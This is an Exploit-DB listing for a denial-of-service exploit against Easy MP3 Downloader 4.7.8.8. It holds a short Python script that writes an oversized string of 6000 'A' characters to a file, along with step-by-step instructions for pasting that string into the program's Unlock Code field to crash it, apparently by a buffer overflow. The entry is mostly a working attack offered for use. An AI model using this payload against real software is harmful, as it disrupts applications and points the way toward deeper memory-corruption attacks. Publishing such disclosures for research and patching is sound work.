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Easy MP3 Downloader 4.7.8.8 - 'Unlock Code' Denial of Service

EDB-ID:

47319

CVE:

N/A

EDB Verified: ✘

Author:

[MOHAN RAVICHANDRAN, SNAZZY SANOJ](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-08-30

Vulnerable App: 



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```
#!/usr/bin/python
```

```
# SWAMI KARUPASAMI THUNAI
```

```
print("""
```

```
#####  
###
```

```
# Exploit Title:      Easy MP3 Downloader Denial of Service
```

```
# Date:              2019-08-29
```

```
# Exploit Author:    Mohan Ravichandran & Snazzy Sanoj
```

```
# Organization :     StrongBox IT
```

```
# Vulnerable Software: Easy MP3 Downloader
```

```
# Version:           4.7.8.8
```

```
# Software Link:
```

```
https://download.cnet.com/Easy-MP3-Downloader/3000-2141\_4-10860695.html
```

```
# Tested On:         Windows 10
```

```
#
```

```
# Credit to Snazzy Sanoj & Meshach for discovering the Vulnerability
```

```
# Vulnerability Disclosure Date : 2019-08-29
```

```
#
```

```
# Manual steps to reproduce the vulnerability ...
```

```
#1. Download and install the setup file
```

```
#2. Run this exploit code via python 2.7
```

```
#3. A file "exploit.txt" will be created
```

```
#4. Copy the contents of the file
```

```
#5. While launching the application select Enter SN
```

```
#6. Enter random string and press Ok
```

```
#7. Then select manual option
```

```
#8. Then Copy the contents of the exploit.txt and paste on the Unlock Code field
```

```
#9. Click Ok and voila ! :P Application crashes
```

```
#####  
###
```

```
""")
```

```
file = open("exploit.txt", "wb")
```

```
junk = "A" * 6000
```

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```
file.write(junk)
```

```
file.close()
```

Tags: [Denial of Service \(DoS\)](#)
[Buffer Overflow](#)

Advisory/Source: [Link](#)



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